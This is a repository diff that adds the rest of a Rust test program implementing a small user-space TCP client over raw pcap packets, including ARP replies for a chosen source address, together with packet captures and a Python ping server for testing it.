socket.state = TcpState::FinWait2;
|
||||||
|
let _ = send_state_changed.send(TcpState::FinWait2).await;
|
||||||
|
|
||||||
|
Ok((vec![], None))
|
||||||
|
}
|
||||||
|
(TcpState::FinWait2, Some(peer)) if packet.fin() => {
|
||||||
|
socket.state = TcpState::Closed;
|
||||||
|
let _ = send_state_changed.send(TcpState::Closed).await;
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_seq_no = packet.seqnumber() + 1;
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
Ok((vec![(tcppacketbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
_ => Ok((vec![], None)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder {
|
||||||
|
TCPPacketBuilder::default()
|
||||||
|
.srcport(incoming.dstport())
|
||||||
|
.dstport(incoming.srcport())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder {
|
||||||
|
builder
|
||||||
|
}
|
||||||
|
|
||||||
|
fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result<usize> {
|
||||||
|
let (mut prod, mut cons) = socket.tx_buffer.split_ref();
|
||||||
|
|
||||||
|
let bytes_read = cons.pop_slice(data);
|
||||||
|
socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32;
|
||||||
|
|
||||||
|
Ok(bytes_read)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn send_data(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
data: Vec<u8>,
|
||||||
|
) -> anyhow::Result<Vec<(TCPPacketBuilder, Vec<u8>)>> {
|
||||||
|
let (mut prod, cons) = socket.tx_buffer.split_ref();
|
||||||
|
|
||||||
|
if cons.is_empty() {
|
||||||
|
_ = prod.push_iter(&mut data.into_iter());
|
||||||
|
|
||||||
|
Ok(vec![])
|
||||||
|
} else {
|
||||||
|
_ = prod.push_iter(&mut data.into_iter());
|
||||||
|
Ok(vec![])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn close_connection(socket: &mut TcpSocket) -> anyhow::Result<TCPPacket> {
|
||||||
|
socket.state = TcpState::FinWait1;
|
||||||
|
|
||||||
|
let peer = socket
|
||||||
|
.peer_info
|
||||||
|
.as_ref()
|
||||||
|
.context("no connection to close")?;
|
||||||
|
|
||||||
|
Ok(TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.fin(true)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(
|
||||||
|
socket
|
||||||
|
.local_rx_last_ack
|
||||||
|
.context("information from synchronizing missing")?,
|
||||||
|
)
|
||||||
|
.seqnumber(socket.local_seq_no)
|
||||||
|
.build(peer.local_addr, peer.remote_addr, vec![], None))
|
||||||
|
}
|
||||||
|
|
||||||
|
struct TcpSocketHandle {
|
||||||
|
state_changed: mpsc::Receiver<TcpState>,
|
||||||
|
send_channel: mpsc::Sender<Vec<u8>>,
|
||||||
|
close: mpsc::Sender<()>,
|
||||||
|
receiver_channel: mpsc::Receiver<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn use_socket(mut socket_handle: TcpSocketHandle) {
|
||||||
|
loop {
|
||||||
|
let state = socket_handle.state_changed.recv().await;
|
||||||
|
match state {
|
||||||
|
Some(TcpState::Established) => break,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Connected to server!");
|
||||||
|
|
||||||
|
log::info!("disconnecting!");
|
||||||
|
|
||||||
|
/*_ = socket_handle.close.send(()).await;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let state = socket_handle.state_changed.recv().await;
|
||||||
|
match state {
|
||||||
|
Some(TcpState::Closed) => break,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
|
log::info!("disconnected!");
|
||||||
|
|
||||||
|
match socket_handle.receiver_channel.recv().await {
|
||||||
|
Some(bytes) => match std::str::from_utf8(&bytes) {
|
||||||
|
Ok(string) => {
|
||||||
|
log::info!("received packet: {string}")
|
||||||
|
}
|
||||||
|
Err(_) => {
|
||||||
|
log::info!("received packet: {bytes:?}");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
None => {
|
||||||
|
log::error!("could not get packets from server")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*_ = socket_handle.send_channel.send(b"pong".to_vec()).await;
|
||||||
|
|
||||||
|
log::info!("Sent 'pong'!");*/
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
simple_logger::SimpleLogger::new()
|
||||||
|
.with_level(log::LevelFilter::Trace)
|
||||||
|
.with_module_level("tcp_test", log::LevelFilter::Trace)
|
||||||
|
.init()?;
|
||||||
|
|
||||||
|
let ip = std::env::args()
|
||||||
|
.skip(1)
|
||||||
|
.next()
|
||||||
|
.ok_or(anyhow!("could not get target IP"))?
|
||||||
|
.parse::<Ipv4Addr>()?;
|
||||||
|
|
||||||
|
let (ifname, _, srcip, src_mac, dst_mac, _) = {
|
||||||
|
let socket = netlink::Socket::new()?;
|
||||||
|
|
||||||
|
let routes = socket.get_routes()?;
|
||||||
|
let neighs = socket.get_neigh()?;
|
||||||
|
let links = socket.get_links()?;
|
||||||
|
let addrs = socket.get_addrs()?;
|
||||||
|
|
||||||
|
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip)
|
||||||
|
.ok_or(anyhow!("unable to find a route to the IP"))?
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut socket = TcpSocket::default();
|
||||||
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&ifname)?;
|
||||||
|
|
||||||
|
let srcip: u32 = srcip.into();
|
||||||
|
let srcip = srcip + 10;
|
||||||
|
let srcip: Ipv4Addr = srcip.into();
|
||||||
|
dbg!(srcip, src_mac, dst_mac);
|
||||||
|
|
||||||
|
// let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93];
|
||||||
|
|
||||||
|
interface.set_buffer_size(8192)?;
|
||||||
|
interface.set_non_blocking(true)?;
|
||||||
|
interface.set_promisc(false)?;
|
||||||
|
interface.set_timeout(10)?;
|
||||||
|
|
||||||
|
let interface = interface.activate()?;
|
||||||
|
|
||||||
|
macro_rules! format_packet {
|
||||||
|
($tcp_packet:expr) => {{
|
||||||
|
let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet));
|
||||||
|
EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt))
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
let (send_state_changed, mut receive_state_changed) = mpsc::channel(64);
|
||||||
|
let (port, packet) = connect(&mut socket, ip, 54248, srcip, &send_state_changed).await;
|
||||||
|
_ = receive_state_changed.recv().await;
|
||||||
|
|
||||||
|
interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||||
|
|
||||||
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||||
|
bail!("interface does not support ethernet");
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut packets = interface.stream()?;
|
||||||
|
|
||||||
|
packets.sendpacket(format_packet!(packet).pkt())?;
|
||||||
|
|
||||||
|
let (send_channel, mut send_packet) = mpsc::channel(1024);
|
||||||
|
let (receive_packet, receiver_channel) = mpsc::channel(1024);
|
||||||
|
let (send_state_changed, state_changed) = mpsc::channel(1024);
|
||||||
|
let (close, mut recv_close) = mpsc::channel(16);
|
||||||
|
|
||||||
|
let socket_handle = TcpSocketHandle {
|
||||||
|
state_changed,
|
||||||
|
receiver_channel,
|
||||||
|
send_channel,
|
||||||
|
close,
|
||||||
|
};
|
||||||
|
|
||||||
|
task::spawn(async move { use_socket(socket_handle) });
|
||||||
|
|
||||||
|
let mut packet_queue = VecDeque::new();
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let deadline = Instant::now()
|
||||||
|
+ socket
|
||||||
|
.retransmit_timeout
|
||||||
|
.unwrap_or_else(|| Duration::from_millis(10));
|
||||||
|
|
||||||
|
tokio::select! {
|
||||||
|
_ = sleep_until(deadline.into()) => {
|
||||||
|
let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; };
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
},
|
||||||
|
Some(Ok(bytes)) = packets.next() => {
|
||||||
|
let pkt = bytes.pkt();
|
||||||
|
|
||||||
|
match pkt.get_layer3_pkt() {
|
||||||
|
Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => {
|
||||||
|
let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; };
|
||||||
|
|
||||||
|
if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; };
|
||||||
|
|
||||||
|
if let Some(received) = received {
|
||||||
|
_ = receive_packet.send(received).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (b, d) in to_send {
|
||||||
|
log::trace!("adding packet to send: {b:?}");
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Ok(Layer3Pkt::ARP(arp)) => {
|
||||||
|
if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap();
|
||||||
|
let sendermac: &[u8] = arp.srchwaddr();
|
||||||
|
let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap();
|
||||||
|
let queryip: Ipv4Addr = queryip.into();
|
||||||
|
|
||||||
|
if queryip != srcip {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip);
|
||||||
|
let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response));
|
||||||
|
log::trace!("adding packet to send: ARP");
|
||||||
|
packet_queue.push_back(resp2);
|
||||||
|
},
|
||||||
|
_ => continue
|
||||||
|
};
|
||||||
|
},
|
||||||
|
Some(()) = recv_close.recv() => {
|
||||||
|
log::trace!("adding packet to send: TCP/IP close");
|
||||||
|
let Ok(to_send) = close_connection(&mut socket) else { continue; };
|
||||||
|
packet_queue.push_back(format_packet!(to_send));
|
||||||
|
},
|
||||||
|
Some(to_send) = send_packet.recv() => {
|
||||||
|
log::trace!("adding packet to send: TCP/IP message send");
|
||||||
|
match send_data(&mut socket, to_send) {
|
||||||
|
Ok(pkts) => {
|
||||||
|
for (b, d) in pkts {
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => continue
|
||||||
|
}
|
||||||
|
},
|
||||||
|
else => { continue; }
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(packet) = packet_queue.pop_front() {
|
||||||
|
log::trace!("sending packet now ({packet:?})");
|
||||||
|
_ = packets.sendpacket(packet.pkt());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
tcp-test/sample-connection.pcapng
Normal file
BIN
tcp-test/sample-connection.pcapng
Normal file
Binary file not shown.
BIN
tcp-test/sample-connection2.pcapng
Normal file
BIN
tcp-test/sample-connection2.pcapng
Normal file
Binary file not shown.
34
tcp-test/server.py
Normal file
34
tcp-test/server.py
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import fcntl
|
||||||
|
import array
|
||||||
|
import termios
|
||||||
|
|
||||||
|
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
server.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1500)
|
||||||
|
server.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1500)
|
||||||
|
|
||||||
|
server.bind(("0.0.0.0", 54248))
|
||||||
|
server.listen(32)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
client, addr = server.accept()
|
||||||
|
print("Got connection")
|
||||||
|
try:
|
||||||
|
with client:
|
||||||
|
client.sendall(b"ping")
|
||||||
|
print("Message sent")
|
||||||
|
|
||||||
|
buf = array.array("h", [0])
|
||||||
|
fcntl.ioctl(client.fileno(), termios.TIOCOUTQ, buf)
|
||||||
|
while buf[0] != 0:
|
||||||
|
fcntl.ioctl(client.fileno(), termios.TIOCOUTQ, buf)
|
||||||
|
|
||||||
|
print("Received message ack")
|
||||||
|
|
||||||
|
# print(client.recv(24))
|
||||||
|
except Exception as e:
|
||||||
|
client.close()
|
||||||
|
print(e)
|
||||||
Loading…
x
Reference in New Issue
Block a user